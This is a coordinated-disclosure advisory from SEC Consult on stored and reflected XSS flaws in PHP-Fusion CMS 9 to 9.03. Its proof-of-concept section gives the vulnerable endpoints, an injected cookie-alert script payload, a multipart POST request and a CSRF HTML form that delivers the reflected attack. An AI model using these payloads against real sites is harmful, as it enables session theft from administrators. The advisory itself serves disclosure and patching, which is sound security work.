=======================================================================
title: Multiple Cross-site Scripting (XSS) Vulnerabilities
product: PHP-Fusion CMS
vulnerable version: 9 - 9.03
fixed version: 9.03.30
CVE number: -
impact: Medium
homepage: https://www.php-fusion.co.uk
found: 2019-12-09
by: M. Ali (Office Malaysia)
N. Ramadhan (Office Malaysia)
W. Ikram (Office Malaysia)
R. Jaafar (Office Malaysia)
S. Maskan (Office Malaysia)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"PHP-Fusion is a lightweight open source content management system
(CMS) written
in PHP."
Source: https://github.com/php-fusion
Business recommendation:
------------------------
Update to the latest version of PHP-Fusion. An in-depth
security
analysis performed by security professionals is highly advised, as
the
software may be affected from further security issues.
Vulnerability overview/description:
-----------------------------------
1. Stored XSS vulnerability
This vulnerability within PHP-Fusion allows an attacker (user with
edit post
capability) to inject malicious client side scripting code which
will be
executed in the browser of a user with "Error Log" access privilege
(usually
administrator or super administrator).
2. Reflected XSS vulnerability
This vulnerability within PHP-Fusion allows an attacker to inject
malicious
client side scripting code which will be executed in the browser of
users.
Proof of concept:
-----------------
1. Stored XSS vulnerability
a) Edit Blog Post Function
This vulnerability can be exploited by an attacker with "edit post"
capability.
By editing a blog post, malicious script code can be injected
through the
affected parameters (defined below). When saving the changes made,
the
application will store the XSS payload in the database as an error
(table
<dbtableprefix>_errors). Then, the application will load all
the errors to
notify the administrator in the "Error Log" notification module.
The XSS payload
will get executed on any page since it was the application behavior
loading all
the errors on any page as long as the affected user's session is
active.
Below is the example on how the XSS issue can be exploited.
URL : http://$DOMAIN/<PHP-Fusion
Directory>/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit§ion=blog_form&blog_id=<id#>
METHOD : POST
PAYLOAD:
'><script>alert(document.cookie)</script>
PARAMETER: blog_image, blog_image_t1, blog_image_t2
Content-Type: multipart/form-data;
boundary=---------------------------247592002319215
Content-Length: 3051
Origin: http://$DOMAIN
Connection: close
Referer:
http://$DOMAIN/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit§ion=blog_form&blog_id=2
Cookie: [snip]
[snip]
-----------------------------247592002319215
Content-Disposition: form-data; name="blog_image"
pp.jpg'><script>alert(document.cookie)</script>
[snip]
2. Reflected XSS vulnerability
a) Preview Function
This vulnerability can be exploited by an unauthenticated
attacker.
The XSS payload is injected in the preview.ajax.php script through
the parameter "text".
Below is the example on how the XSS issue can be exploited through
CSRF.
URL : http://$DOMAIN/<PHP-Fusion
Directory>/includes/dynamics/assets/preview/preview.ajax.php
METHOD : POST
PAYLOAD: <script>alert(document.cookie)</script>
Create a HTML file with content as below and open it with browser.
<html>
<body>
<form action="$DOMAIN/<PHP-Fusion
Directory>/includes/dynamics/assets/preview/preview.ajax.php"
method="POST">
<input type="hidden" name="text"
value="xyz<script>alert(document.cookie)</script>zzz"
/>
<input type="hidden" name="editor" value="html" />
<input type="hidden" name="url" value="/infusion/xxyyzz.php"
/>
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Vulnerable / tested versions:
-----------------------------
PHP-Fusion version 9.03.00 has been tested, which was the latest
version
available at the time of the test.
Vendor contact timeline:
------------------------
2019-12-10: Contacting vendor by email
2019-12-11: Vendor lead developer contact SEC Consult via Whatsapp
and ask to
send the detail unencrypted to his email
Email sent to the lead developer on the same day.
2020-01-23: Vendor fixed the reported issues, but it can be
bypassed. SEC Consult
informed the Lead Developer via Whatsapp. The lead developer
requests extension (3 weeks). Latest possible release date
changed to 24th Feb 2020.
2020-02-01: Vendor fixed issue no. 2 (Reflected XSS). Issue no. 1
(Stored
XSS) remains unfixed.
2020-02-04: Vendor informed fixed version available on github
page.
2020-02-11: Vendor requested two weeks to inform their users to
update their
websites. Latest possible release date changed to 25th Feb
2020.
2020-02-11: Requesting CVE ID, only automatic reply with request
ID
2020-02-21: Asking for CVE ID again, no reply
2020-02-25: Public release of security advisory
Solution:
---------
The fixed version 9.03.30 is available at the vendor's download
section:
* https://www.php-fusion.co.uk/php_fusion_9_downloads.php
Workaround:
-----------
None
Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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EOF M. Ali, W. Ikram, S. Maskan, N. Ramadhan, R. Jaafar / @2020
